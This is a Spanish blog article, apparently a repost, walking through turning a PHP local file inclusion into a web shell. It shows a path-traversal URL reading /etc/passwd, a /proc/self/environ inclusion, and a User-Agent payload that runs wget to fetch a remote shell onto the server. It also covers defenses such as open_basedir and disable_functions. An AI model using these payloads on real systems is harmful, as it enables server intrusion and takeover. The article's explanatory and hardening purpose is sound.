En este artículo, vamos a echarle un vistazo al método sugerido y también a mencionar sus puntos débiles, que son bastantes.
Lo primero que necesitamos es un servidor en el que exista un LFI. Esto se consigue muy fácil echando un ojo a milw0rm todos los días y esperando, o bien con google dorks, ... Entonces, supongamos que lo hemos conseguido y que podemos acceder a esta web
www.vulnerable.com/view.php?page=../../../../etc/passwd
y nos da realmente el archivo /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
Esta primera suposición ya es mucho suponer. Normalmente, sería suficiente con usar open_basedir para limitar notablemente la posibilidad de acceder fuera del directorio donde tenemos instalada la aplicación php. Si los permisos están bien puestos y se limita el acceso del php, esto no debería ser posible casi nunca.
Suponiendo que sea posible acceder al sistema de archivos del servidor web, podríamos acceder a esto /proc/self/environ:
www.vulnerable.com/view.php?page=../../../../../proc/self/environ
En este caso, entre todas las variables de entorno que tenemos, nos vamos a fijar en el HTTP_USER_AGENT, aunque lo mismo valdría para otras variables que podamos modificar al vuelo. Tenemos:
HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00
Y, como sabemos, el user-agent se puede modificar facilmente, por ejemplo con burpproxy, y le podemos pasar un comando al sistema, por ejemplo (faltan los símbolos menor y mayor):
system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');
Con lo cual, esto será ejecutado en local ... mmm ... suponiendo que el comando no haya sido deshabilitado, que sería lo recomendable. Y este es el segundo problema que tiene el ataque, y bastante serio. Deshabilitar esto se haría poniendo en el php.ini algo como:
disable_functions = system, exec, ...
Que no debería suponer ningún inconveniente. Pese a esto, muchos servidores no limitan este tipo de llamadas al sistema a través de php. Mal, muy mal ...
En caso de que funcione y realmente podamos bajar una shell al servidor (por cierto, seguramente deberíamos guardar la shell en otro directorio, por ejemplo el de archivos temporales del php), podemos proceder a llamar a la shell así:
www.vulnerable.com/shell.php
Y, a partir de aquí, lo de siempre.
CONCLUSIONES.
Como hemos visto, se trata de un método bastante sencillo para aprovechar un LFI y conseguir una shell en el servidor. Sin embargo, también es claro que una configuración securizada del php hace totalmente inservible este método. Una vez más, no podemos dejar de insistir en la importancia de securizar la configuración de todos nuestros servidores ...
REFERENCIAS: enye-sec.org
Fuente: http://hacking-avanzado.blogspot.com/
0 Notaciones:
Publicar un comentario